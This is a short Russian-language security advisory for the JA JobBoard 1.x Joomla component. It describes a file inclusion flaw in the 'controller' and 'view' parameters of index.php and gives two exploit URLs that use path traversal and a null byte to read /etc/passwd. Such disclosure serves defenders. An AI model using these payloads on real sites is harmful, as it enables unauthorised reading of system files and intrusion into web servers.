Рекомендуем почитать:
Хакер #305. Многошаговые SQL-инъекции
Программа: JA JobBoard 1.x (component for Joomla)
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP
сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки
входных данных в параметре "controller" и "view" сценарием index.php (когда "option"
установлен в "com_jajobboard"). Удаленный пользователь может выполнить
произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Эксплоит:
http://localhost/[path]/index.php?option=com_jajobboard&view=../../../../../../../../../../etc/passwd%00
http://localhost/[path]/index.php?option=com_jajobboard&controller=../../../../../../../../../../etc/passwd%00